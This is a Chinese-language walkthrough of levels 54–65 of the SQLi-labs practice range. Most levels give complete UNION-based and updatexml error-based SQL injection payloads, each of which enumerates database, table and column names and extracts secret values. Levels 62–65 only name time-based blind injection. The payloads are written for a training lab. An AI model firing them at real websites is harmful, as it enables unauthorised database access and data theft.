SQLI靶场(四)(54~65关)

less-54

本关需要我们在10步之内获取到字段名。不过方法和之前还是一样。但是本关会随机生成数据库名字,表名,列名。以下语句是根据我在通关时所随机产生的内容而定的。

判断闭合

输入:?id=1,?id=1'

据此得出闭合方式为单引号闭合。

判断显示位

输入:?id=-1' union select 1,2,3--+

获取数据库名

输入:?id=-1' union select 1,database(),3--+

获取表名

输入:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+

获取列名

输入:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges'and table_name='vsj7fehc5i' --+

获取数据

输入:?id=-1' union select 1,group_concat(secret_XGTK),3 from vsj7fehc5i --+

爆出字段值:Mjrcu80zTy4wrKfjATiZsLWJ

将字段值输入到下方提交框。成功通关。

less-55

这关的闭合方式是整型加右括号。

判断闭合

输入:?id=1,?id=1',?id=1",?id=1"),?id=1'),id=1)

判断显示位

输入:?id=-1) union select 1,2,3--+

爆数据库名

输入:?id=-1) union select 1,2,database()--+

爆表名

输入:?id=-1) union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='challenges')--+

爆列名

输入:?id=-1) union select 1,2,(select group_concat(column_name)from information_schema.columns where table_schema='challenges'and table_name='zpr0lpdmkw') --+

爆数据

输入:?id=-1) union select 1,2,(select group_concat(secret_J2C6)from zpr0lpdmkw) --+

爆出字段值:09beF2ynWrXTfhGWzi0ovDMJ

将字段值输入到下方提交框。成功通关。

less-56

这关闭合方式为单引号+右括号。其余和54关一样。

判断显示位

输入:?id=-1') union select 1,2,3--+

获取数据库名

输入:?id=-1') union select 1,2,database() --+

获取表名

输入:?id=-1') union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='challenges' --+

获取列名

输入:?id=-1') union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='challenges'and table_name='zpr0lpdmkw' --+

获取数据

输入:?id=-1') union select 1,2,group_concat(secret_J2C6)from zpr0lpdmkw --+

爆出字段值:09beF2ynWrXTfhGWzi0ovDMJ

将字段值输入到下方提交框。成功通关。

less-57

这关闭合方式为双引号。其余和54关一样。

判断显示位

输入:?id=-1" union select 1,2,3--+

获取数据库名

输入:?id=-1" union select 1,2,database() --+

获取表名

输入:?id=-1" union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='challenges' --+

获取列名

输入:?id=-1" union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='challenges'and table_name='2r9opt8tzj' --+

获取数据

输入:?id=-1" union select 1,2,group_concat(secret_4ARD)from 2r9opt8tzj --+

爆出字段值:rXgRsmzNhKuHNbhqkjJ9lzBx

将字段值输入到下方提交框。成功通关。

less-58

本关闭合方式为单引号闭合,有报错信息,故而使用报错注入。

爆库名

输入:?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

爆表名

输入:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

爆列名

输入:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema= 'challenges' and table_name='5gh6ljrf13'),0x7e),1)--+

爆数据

输入:?id=-1'and updatexml(1,concat(0x7e,(select secret_WJVI from challenges.5gh6ljrf13),0x7e),1)--+

爆出字段值:qFOj88YsAHOnrVyIN54ZDSpZ

将字段值输入到下方提交框。成功通关。

less-59

本关闭合方式为整型,其余和58关一样,使用报错注入即可。

爆库名

输入:?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

爆表名

输入:?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

爆列名

输入:?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema= 'challenges' and table_name='npu8h7nj05'),0x7e),1)--+

爆数据

输入:?id=-1 and updatexml(1,concat(0x7e,(select secret_H4H1 from challenges.npu8h7nj05),0x7e),1)--+

爆出字段值:nINDG1LGwH0C1CdMOeanfq9s

将字段值输入到下方提交框。成功通关。

less-60

本关闭合方式为双引号+右括号,同样使用报错注入。

爆库名

输入:?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

爆表名

输入:?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

爆列名

输入:?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges'and table_name='fbynjvc6li'),0x7e),1) --+

爆数据

输入:?id=-1") and updatexml(1,concat(0x7e,(select secret_9Z3U from challenges.fbynjvc6li),0x7e),1)--+

爆出字段值:m4HWBGS4ZoCqbCqTef8PtH2A

将字段值输入到下方提交框。成功通关。

less-61

本关的闭合方式为单引号+右括号+右括号,同样使用报错注入。

爆库名

输入:?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

爆表名

输入:?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='challenges'),0x7e),1)--+

爆列名

输入:?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='challenges'and table_name='aymft7nh3n'),0x7e),1)--+

爆数据

输入:?id=-1')) and updatexml(1,concat(0x7e,(select secret_2LNN from challenges.aymft7nh3n),0x7e),1)--+

爆出字段值:1stxK1FCc15aamn7w2fMaLWt

将字段值输入到下方提交框。成功通关。

less-62

本关要130步之内,而且没有报错信息,这关使用时间盲注。本关的闭合方式为单引号+右括号。

less-63

本关闭合方式为单引号,同样使用时间盲注。

less-64

本关闭合方式为右括号+右括号,同样使用时间盲注。

less-65

本关的闭合方式为双引号+右括号,同样使用时间盲注。

SQLI靶场到此结束!完结撒花!

你可能感兴趣的:(数据库,oracle,java)